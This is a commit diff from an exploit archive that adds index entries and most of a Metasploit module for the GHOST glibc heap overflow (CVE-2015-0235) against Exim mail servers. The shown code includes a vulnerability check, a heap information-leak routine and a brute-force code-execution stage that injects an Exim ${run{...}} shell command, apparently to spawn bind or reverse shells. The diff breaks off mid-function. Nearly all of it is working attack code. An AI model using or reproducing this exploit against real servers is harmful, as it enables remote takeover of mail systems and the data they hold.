Update: 2015-03-19
3 new exploits
This commit is contained in:
parent
ef2d63a0af
commit
2c86657105
4 changed files with 1002 additions and 0 deletions
|
@ -32839,3 +32839,6 @@ id,file,description,date,author,platform,type,port
|
||||||
36415,platforms/java/remote/36415.rb,"ElasticSearch Search Groovy Sandbox Bypass",2015-03-16,metasploit,java,remote,9200
|
36415,platforms/java/remote/36415.rb,"ElasticSearch Search Groovy Sandbox Bypass",2015-03-16,metasploit,java,remote,9200
|
||||||
36417,platforms/windows/local/36417.txt,"Spybot Search & Destroy 1.6.2 Security Center Service - Privilege Escalation",2015-03-17,LiquidWorm,windows,local,0
|
36417,platforms/windows/local/36417.txt,"Spybot Search & Destroy 1.6.2 Security Center Service - Privilege Escalation",2015-03-17,LiquidWorm,windows,local,0
|
||||||
36418,platforms/php/webapps/36418.txt,"Moodle 2.5.9/2.6.8/2.7.5/2.8.3 - Block Title Handler Cross-Site Scripting",2015-03-17,LiquidWorm,php,webapps,0
|
36418,platforms/php/webapps/36418.txt,"Moodle 2.5.9/2.6.8/2.7.5/2.8.3 - Block Title Handler Cross-Site Scripting",2015-03-17,LiquidWorm,php,webapps,0
|
||||||
|
36419,platforms/multiple/webapps/36419.txt,"Metasploit Project < 4.11.1 Initial User Creation CSRF",2015-03-17,"Mohamed Abdelbaset Elnoby",multiple,webapps,3790
|
||||||
|
36420,platforms/windows/remote/36420.rb,"Adobe Flash Player PCRE Regex Vulnerability",2015-03-17,metasploit,windows,remote,0
|
||||||
|
36421,platforms/linux/remote/36421.rb,"Exim GHOST (glibc gethostbyname) Buffer Overflow",2015-03-18,"Qualys Corporation",linux,remote,25
|
||||||
|
|
Can't render this file because it is too large.
|
789
platforms/linux/remote/36421.rb
Executable file
789
platforms/linux/remote/36421.rb
Executable file
|
@ -0,0 +1,789 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit4 < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
|
||||||
|
'Description' => %q(
|
||||||
|
This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based
|
||||||
|
buffer overflow in the GNU C Library's gethostbyname functions) on x86
|
||||||
|
and x86_64 GNU/Linux systems that run the Exim mail server. Technical
|
||||||
|
information about the exploitation can be found in the original GHOST
|
||||||
|
advisory, and in the source code of this module.
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
SERVER-SIDE REQUIREMENTS (Exim)
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
The remote system must use a vulnerable version of the GNU C Library:
|
||||||
|
the first exploitable version is glibc-2.6, the last exploitable version
|
||||||
|
is glibc-2.17; older versions might be exploitable too, but this module
|
||||||
|
depends on the newer versions' fd_nextsize (a member of the malloc_chunk
|
||||||
|
structure) to remotely obtain the address of Exim's smtp_cmd_buffer in
|
||||||
|
the heap.
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
The remote system must run the Exim mail server: the first exploitable
|
||||||
|
version is exim-4.77; older versions might be exploitable too, but this
|
||||||
|
module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably
|
||||||
|
set up the heap as described in the GHOST advisory.
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
The remote Exim mail server must be configured to perform extra security
|
||||||
|
checks against its SMTP clients: either the helo_try_verify_hosts or the
|
||||||
|
helo_verify_hosts option must be enabled; the "verify = helo" ACL might
|
||||||
|
be exploitable too, but is unpredictable and therefore not supported by
|
||||||
|
this module.
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
CLIENT-SIDE REQUIREMENTS (Metasploit)
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
This module's "exploit" method requires the SENDER_HOST_ADDRESS option
|
||||||
|
to be set to the IPv4 address of the SMTP client (Metasploit), as seen
|
||||||
|
by the SMTP server (Exim); additionally, this IPv4 address must have
|
||||||
|
both forward and reverse DNS entries that match each other
|
||||||
|
(Forward-Confirmed reverse DNS).
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
The remote Exim server might be exploitable even if the Metasploit
|
||||||
|
client has no FCrDNS, but this module depends on Exim's sender_host_name
|
||||||
|
variable to be set in order to reliably control the state of the remote
|
||||||
|
heap.
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
TROUBLESHOOTING
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
"bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option
|
||||||
|
was not specified.
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
"bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure:
|
||||||
|
the SENDER_HOST_ADDRESS option was specified, but not in IPv4
|
||||||
|
dotted-decimal notation.
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
"bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or
|
||||||
|
"bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the
|
||||||
|
SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP
|
||||||
|
client (Metasploit), as seen by the SMTP server (Exim).
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
"bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the
|
||||||
|
SMTP client (Metasploit) has no Forward-Confirmed reverse DNS.
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
"not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server
|
||||||
|
is either not vulnerable, or not exploitable (glibc versions older than
|
||||||
|
glibc-2.6 have no fd_nextsize member in their malloc_chunk structure).
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
"NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address
|
||||||
|
contains bad characters (NUL, CR, LF) and was therefore mangled during
|
||||||
|
the information leak; this exploit is able to reconstruct most of these
|
||||||
|
addresses, but not all (worst-case probability is ~1/85, but could be
|
||||||
|
further improved).
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
"Brute-force SUCCESS" followed by a nil reply, but no shell: the remote
|
||||||
|
Unix command was executed, but spawned a bind-shell or a reverse-shell
|
||||||
|
that failed to connect (maybe because of a firewall, or a NAT, etc).
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
"Brute-force SUCCESS" followed by a non-nil reply, and no shell: the
|
||||||
|
remote Unix command was executed, but failed to spawn the shell (maybe
|
||||||
|
because the setsid command doesn't exist, or awk isn't gawk, or netcat
|
||||||
|
doesn't support the -6 or -e option, or telnet doesn't support the -z
|
||||||
|
option, etc).
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
Comments and questions are welcome!
|
||||||
|
),
|
||||||
|
'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
|
||||||
|
'License' => BSD_LICENSE,
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2015-0235'],
|
||||||
|
['US-CERT-VU', '967332'],
|
||||||
|
['OSVDB', '117579'],
|
||||||
|
['BID', '72325'],
|
||||||
|
['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jan 27 2015',
|
||||||
|
'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
|
||||||
|
'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
|
||||||
|
'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^
|
||||||
|
'Payload' => {
|
||||||
|
'Space' => 255, # the shorter the payload, the higher the probability of code execution
|
||||||
|
'BadChars' => "", # we encode the payload ourselves, because ^
|
||||||
|
'DisableNops' => true,
|
||||||
|
'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
|
||||||
|
},
|
||||||
|
'Targets' => [['Automatic', {}]],
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
Opt::RPORT(25),
|
||||||
|
OptAddress.new('SENDER_HOST_ADDRESS', [false,
|
||||||
|
'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
register_advanced_options([
|
||||||
|
OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
# for now, no information about the vulnerable state of the target
|
||||||
|
check_code = Exploit::CheckCode::Unknown
|
||||||
|
|
||||||
|
begin
|
||||||
|
# not exploiting, just checking
|
||||||
|
smtp_connect(false)
|
||||||
|
|
||||||
|
# malloc()ate gethostbyname's buffer, and
|
||||||
|
# make sure its next_chunk isn't the top chunk
|
||||||
|
|
||||||
|
9.times do
|
||||||
|
smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
|
||||||
|
smtp_recv(HELO_CODES)
|
||||||
|
end
|
||||||
|
|
||||||
|
# overflow (4 bytes) gethostbyname's buffer, and
|
||||||
|
# overwrite its next_chunk's size field with 0x00303030
|
||||||
|
|
||||||
|
smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
|
||||||
|
# from now on, an exception means vulnerable
|
||||||
|
check_code = Exploit::CheckCode::Vulnerable
|
||||||
|
# raise an exception if no valid SMTP reply
|
||||||
|
reply = smtp_recv(ANY_CODE)
|
||||||
|
# can't determine vulnerable state if smtp_verify_helo() isn't called
|
||||||
|
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
|
||||||
|
|
||||||
|
# realloc()ate gethostbyname's buffer, and
|
||||||
|
# crash (old glibc) or abort (new glibc)
|
||||||
|
# on the overwritten size field
|
||||||
|
|
||||||
|
smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
|
||||||
|
# raise an exception if no valid SMTP reply
|
||||||
|
reply = smtp_recv(ANY_CODE)
|
||||||
|
# can't determine vulnerable state if smtp_verify_helo() isn't called
|
||||||
|
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
|
||||||
|
# a vulnerable target should've crashed by now
|
||||||
|
check_code = Exploit::CheckCode::Safe
|
||||||
|
|
||||||
|
rescue
|
||||||
|
peer = "#{rhost}:#{rport}"
|
||||||
|
vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}")
|
||||||
|
|
||||||
|
ensure
|
||||||
|
smtp_disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
return check_code
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless datastore['I_KNOW_WHAT_I_AM_DOING']
|
||||||
|
print_status("Checking if target is vulnerable...")
|
||||||
|
fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable
|
||||||
|
print_good("Target is vulnerable.")
|
||||||
|
end
|
||||||
|
information_leak
|
||||||
|
code_execution
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
HELO_CODES = '250|451|550'
|
||||||
|
ANY_CODE = '[0-9]{3}'
|
||||||
|
|
||||||
|
MIN_HEAP_SHIFT = 80
|
||||||
|
MIN_HEAP_SIZE = 128 * 1024
|
||||||
|
MAX_HEAP_SIZE = 1024 * 1024
|
||||||
|
|
||||||
|
# Exim
|
||||||
|
ALIGNMENT = 8
|
||||||
|
STORE_BLOCK_SIZE = 8192
|
||||||
|
STOREPOOL_MIN_SIZE = 256
|
||||||
|
|
||||||
|
LOG_BUFFER_SIZE = 8192
|
||||||
|
BIG_BUFFER_SIZE = 16384
|
||||||
|
|
||||||
|
SMTP_CMD_BUFFER_SIZE = 16384
|
||||||
|
IN_BUFFER_SIZE = 8192
|
||||||
|
|
||||||
|
# GNU C Library
|
||||||
|
PREV_INUSE = 0x1
|
||||||
|
NS_MAXDNAME = 1025
|
||||||
|
|
||||||
|
# Linux
|
||||||
|
MMAP_MIN_ADDR = 65536
|
||||||
|
|
||||||
|
def information_leak
|
||||||
|
print_status("Trying information leak...")
|
||||||
|
leaked_arch = nil
|
||||||
|
leaked_addr = []
|
||||||
|
|
||||||
|
# try different heap_shift values, in case Exim's heap address contains
|
||||||
|
# bad chars (NUL, CR, LF) and was mangled during the information leak;
|
||||||
|
# we'll keep the longest one (the least likely to have been truncated)
|
||||||
|
|
||||||
|
16.times do
|
||||||
|
done = catch(:another_heap_shift) do
|
||||||
|
heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
|
||||||
|
print_debug("#{{ heap_shift: heap_shift }}")
|
||||||
|
|
||||||
|
# write the malloc_chunk header at increasing offsets (8-byte step),
|
||||||
|
# until we overwrite the "503 sender not yet given" error message
|
||||||
|
|
||||||
|
128.step(256, 8) do |write_offset|
|
||||||
|
error = try_information_leak(heap_shift, write_offset)
|
||||||
|
print_debug("#{{ write_offset: write_offset, error: error }}")
|
||||||
|
throw(:another_heap_shift) if not error
|
||||||
|
next if error == "503 sender not yet given"
|
||||||
|
|
||||||
|
# try a few more offsets (allows us to double-check things,
|
||||||
|
# and distinguish between 32-bit and 64-bit machines)
|
||||||
|
|
||||||
|
error = [error]
|
||||||
|
1.upto(5) do |i|
|
||||||
|
error[i] = try_information_leak(heap_shift, write_offset + i*8)
|
||||||
|
throw(:another_heap_shift) if not error[i]
|
||||||
|
end
|
||||||
|
print_debug("#{{ error: error }}")
|
||||||
|
|
||||||
|
_leaked_arch = leaked_arch
|
||||||
|
if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
|
||||||
|
(error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
|
||||||
|
(error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
|
||||||
|
(error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
|
||||||
|
leaked_arch = ARCH_X86_64
|
||||||
|
|
||||||
|
elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
|
||||||
|
(error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
|
||||||
|
(error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
|
||||||
|
(error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
|
||||||
|
leaked_arch = ARCH_X86
|
||||||
|
|
||||||
|
else
|
||||||
|
throw(:another_heap_shift)
|
||||||
|
end
|
||||||
|
print_debug("#{{ leaked_arch: leaked_arch }}")
|
||||||
|
fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
|
||||||
|
|
||||||
|
# try different large-bins: most of them should be empty,
|
||||||
|
# so keep the most frequent fd_nextsize address
|
||||||
|
# (a pointer to the malloc_chunk itself)
|
||||||
|
|
||||||
|
count = Hash.new(0)
|
||||||
|
0.upto(9) do |last_digit|
|
||||||
|
error = try_information_leak(heap_shift, write_offset, last_digit)
|
||||||
|
next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
|
||||||
|
next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
|
||||||
|
count[error] += 1
|
||||||
|
end
|
||||||
|
print_debug("#{{ count: count }}")
|
||||||
|
throw(:another_heap_shift) if count.empty?
|
||||||
|
|
||||||
|
# convert count to a nested array of [key, value] arrays and sort it
|
||||||
|
error_count = count.sort { |a, b| b[1] <=> a[1] }
|
||||||
|
error_count = error_count.first # most frequent
|
||||||
|
error = error_count[0]
|
||||||
|
count = error_count[1]
|
||||||
|
throw(:another_heap_shift) unless count >= 6 # majority
|
||||||
|
leaked_addr.push({ error: error, shift: heap_shift })
|
||||||
|
|
||||||
|
# common-case shortcut
|
||||||
|
if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
|
||||||
|
(leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
|
||||||
|
leaked_addr = [leaked_addr.last] # use this one, and not another
|
||||||
|
throw(:another_heap_shift, true) # done
|
||||||
|
end
|
||||||
|
throw(:another_heap_shift)
|
||||||
|
end
|
||||||
|
throw(:another_heap_shift)
|
||||||
|
end
|
||||||
|
break if done
|
||||||
|
end
|
||||||
|
|
||||||
|
fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
|
||||||
|
fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
|
||||||
|
|
||||||
|
leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
|
||||||
|
leaked_addr = leaked_addr.first # longest
|
||||||
|
error = leaked_addr[:error]
|
||||||
|
shift = leaked_addr[:shift]
|
||||||
|
|
||||||
|
leaked_addr = 0
|
||||||
|
(leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
|
||||||
|
break if i >= error.length
|
||||||
|
leaked_addr += error.unpack('C*')[i] * (2**(i*8))
|
||||||
|
end
|
||||||
|
# leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
|
||||||
|
leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
|
||||||
|
fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR
|
||||||
|
|
||||||
|
print_good("Successfully leaked_arch: #{leaked_arch}")
|
||||||
|
print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
|
||||||
|
@leaked = { arch: leaked_arch, addr: leaked_addr }
|
||||||
|
end
|
||||||
|
|
||||||
|
def try_information_leak(heap_shift, write_offset, last_digit = 9)
|
||||||
|
fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
|
||||||
|
fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0
|
||||||
|
fail_with("infoleak", "write_offset") if (write_offset & 7) != 0
|
||||||
|
fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
|
||||||
|
|
||||||
|
smtp_connect
|
||||||
|
|
||||||
|
# bulletproof Heap Feng Shui; the hard part is avoiding:
|
||||||
|
# "Too many syntax or protocol errors" (3)
|
||||||
|
# "Too many unrecognized commands" (3)
|
||||||
|
# "Too many nonmail commands" (10)
|
||||||
|
|
||||||
|
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)
|
||||||
|
smtp_recv(250)
|
||||||
|
|
||||||
|
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
|
||||||
|
smtp_recv(250)
|
||||||
|
|
||||||
|
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
|
||||||
|
smtp_recv(250)
|
||||||
|
|
||||||
|
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)
|
||||||
|
smtp_recv(250)
|
||||||
|
|
||||||
|
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)
|
||||||
|
smtp_recv(250)
|
||||||
|
|
||||||
|
# overflow (3 bytes) gethostbyname's buffer, and
|
||||||
|
# overwrite its next_chunk's size field with 0x003?31
|
||||||
|
# ^ last_digit
|
||||||
|
smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)
|
||||||
|
begin # ^ 0x30 | PREV_INUSE
|
||||||
|
smtp_recv(HELO_CODES)
|
||||||
|
|
||||||
|
smtp_send("RSET")
|
||||||
|
smtp_recv(250)
|
||||||
|
|
||||||
|
smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
|
||||||
|
smtp_recv(503, 'sender not yet given')
|
||||||
|
|
||||||
|
smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)
|
||||||
|
smtp_recv(500, '\A500 unrecognized command\r\n\z')
|
||||||
|
|
||||||
|
smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
|
||||||
|
smtp_recv(500, '\A500 unrecognized command\r\n\z')
|
||||||
|
|
||||||
|
smtp_send("DATA")
|
||||||
|
reply = smtp_recv(503)
|
||||||
|
|
||||||
|
lines = reply[:lines]
|
||||||
|
fail if lines.size <= 3
|
||||||
|
fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
|
||||||
|
fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
|
||||||
|
fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
|
||||||
|
|
||||||
|
# if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
|
||||||
|
# (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
|
||||||
|
# but happens with lower probability)
|
||||||
|
|
||||||
|
error = lines[+1..-3].join("")
|
||||||
|
error.sub!(/\A503-/mn, "")
|
||||||
|
error.sub!(/\r\n\z/mn, "")
|
||||||
|
error.gsub!(/\r\n503-/mn, "\n")
|
||||||
|
return error
|
||||||
|
|
||||||
|
rescue
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
ensure
|
||||||
|
smtp_disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
def code_execution
|
||||||
|
print_status("Trying code execution...")
|
||||||
|
|
||||||
|
# can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
|
||||||
|
# DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
|
||||||
|
# that rogue child processes cannot use them.
|
||||||
|
|
||||||
|
fail_with("codeexec", "encoded payload") if payload.raw != payload.encoded
|
||||||
|
fail_with("codeexec", "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
|
||||||
|
# Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
|
||||||
|
# and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
|
||||||
|
encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
|
||||||
|
# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
|
||||||
|
command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
|
||||||
|
print_debug(command)
|
||||||
|
|
||||||
|
# don't try to execute commands directly, try a very simple ACL first,
|
||||||
|
# to distinguish between exploitation-problems and shellcode-problems
|
||||||
|
|
||||||
|
acldrop = "drop message="
|
||||||
|
message = rand_text_alpha(command.length - acldrop.length)
|
||||||
|
acldrop += message
|
||||||
|
|
||||||
|
max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
|
||||||
|
max_heap_addr = @leaked[:addr]
|
||||||
|
min_heap_addr = nil
|
||||||
|
survived = nil
|
||||||
|
|
||||||
|
# we later fill log_buffer and big_buffer with alpha chars,
|
||||||
|
# which creates a safe-zone at the beginning of the heap,
|
||||||
|
# where we can't possibly crash during our brute-force
|
||||||
|
|
||||||
|
# 4, because 3 copies of sender_helo_name, and step_len;
|
||||||
|
# start big, but refine little by little in case
|
||||||
|
# we crash because we overwrite important data
|
||||||
|
|
||||||
|
helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
|
||||||
|
loop do
|
||||||
|
|
||||||
|
sender_helo_name = "A" * helo_len
|
||||||
|
address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)
|
||||||
|
|
||||||
|
# the 3 copies of sender_helo_name, allocated by
|
||||||
|
# host_build_sender_fullhost() in POOL_PERM memory
|
||||||
|
|
||||||
|
helo_ip_size = ALIGNMENT +
|
||||||
|
sender_helo_name[+1..-2].length
|
||||||
|
|
||||||
|
sender_fullhost_size = ALIGNMENT +
|
||||||
|
sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length
|
||||||
|
|
||||||
|
sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
|
||||||
|
sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
|
||||||
|
sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
|
||||||
|
).length
|
||||||
|
|
||||||
|
# fit completely into the safe-zone
|
||||||
|
step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
|
||||||
|
(max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
|
||||||
|
loop do
|
||||||
|
|
||||||
|
# inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
|
||||||
|
# with alpha chars, which creates another safe-zone at the end of the heap)
|
||||||
|
heap_addr = max_heap_addr
|
||||||
|
loop do
|
||||||
|
|
||||||
|
# try harder the first time around: we obtain better
|
||||||
|
# heap boundaries, and we usually hit our ACL faster
|
||||||
|
|
||||||
|
(min_heap_addr ? 1 : 2).times do
|
||||||
|
|
||||||
|
# try the same heap_addr several times, but with different random offsets,
|
||||||
|
# in case we crash because our hijacked storeblock's length field is too small
|
||||||
|
# (we don't control what's stored at heap_addr)
|
||||||
|
|
||||||
|
rand_offset = rand(max_rand_offset)
|
||||||
|
print_debug("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
|
||||||
|
reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
|
||||||
|
print_debug("#{{ reply: reply }}") if reply
|
||||||
|
|
||||||
|
if reply and
|
||||||
|
reply[:code] == "550" and
|
||||||
|
# detect the parsed ACL, not the "still in text form" ACL (with "=")
|
||||||
|
reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
|
||||||
|
print_good("Brute-force SUCCESS")
|
||||||
|
print_good("Please wait for reply...")
|
||||||
|
# execute command this time, not acldrop
|
||||||
|
reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
|
||||||
|
print_debug("#{{ reply: reply }}")
|
||||||
|
return handler
|
||||||
|
end
|
||||||
|
|
||||||
|
if not min_heap_addr
|
||||||
|
if reply
|
||||||
|
fail_with("codeexec", "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
|
||||||
|
survived = heap_addr
|
||||||
|
else
|
||||||
|
if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
|
||||||
|
# survived should point to our safe-zone at the beginning of the heap
|
||||||
|
fail_with("codeexec", "never survived") if not survived
|
||||||
|
print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
|
||||||
|
min_heap_addr = survived
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
heap_addr -= step_len
|
||||||
|
break if min_heap_addr and heap_addr < min_heap_addr
|
||||||
|
end
|
||||||
|
|
||||||
|
break if step_len < 1024
|
||||||
|
step_len /= 2
|
||||||
|
end
|
||||||
|
|
||||||
|
helo_len /= 2
|
||||||
|
break if helo_len < 1024
|
||||||
|
# ^ otherwise the 3 copies of sender_helo_name will
|
||||||
|
# fit into the current_block of POOL_PERM memory
|
||||||
|
end
|
||||||
|
fail_with("codeexec", "Brute-force FAILURE")
|
||||||
|
end
|
||||||
|
|
||||||
|
# our write-what-where primitive
|
||||||
|
def try_code_execution(len, what, where)
|
||||||
|
fail_with("codeexec", "#{what.length} >= #{len}") if what.length >= len
|
||||||
|
fail_with("codeexec", "#{where} < 0") if where < 0
|
||||||
|
|
||||||
|
x86 = (@leaked[:arch] == ARCH_X86)
|
||||||
|
min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
|
||||||
|
heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
|
||||||
|
last_digit = 1 + rand(9)
|
||||||
|
|
||||||
|
smtp_connect
|
||||||
|
|
||||||
|
# fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
|
||||||
|
smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
|
||||||
|
"501 : sender address must contain a domain\r\n\0".length)
|
||||||
|
smtp_recv(501, 'sender address must contain a domain')
|
||||||
|
|
||||||
|
smtp_send("RSET")
|
||||||
|
smtp_recv(250)
|
||||||
|
|
||||||
|
# bulletproof Heap Feng Shui; the hard part is avoiding:
|
||||||
|
# "Too many syntax or protocol errors" (3)
|
||||||
|
# "Too many unrecognized commands" (3)
|
||||||
|
# "Too many nonmail commands" (10)
|
||||||
|
|
||||||
|
# / 5, because "\x7F" is non-print, and:
|
||||||
|
# ss = store_get(length + nonprintcount * 4 + 1);
|
||||||
|
smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)
|
||||||
|
smtp_recv(500, '\A500 unrecognized command\r\n\z')
|
||||||
|
|
||||||
|
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)
|
||||||
|
smtp_recv(250)
|
||||||
|
|
||||||
|
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
|
||||||
|
smtp_recv(250)
|
||||||
|
|
||||||
|
smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)
|
||||||
|
smtp_recv(500, '\A500 unrecognized command\r\n\z')
|
||||||
|
|
||||||
|
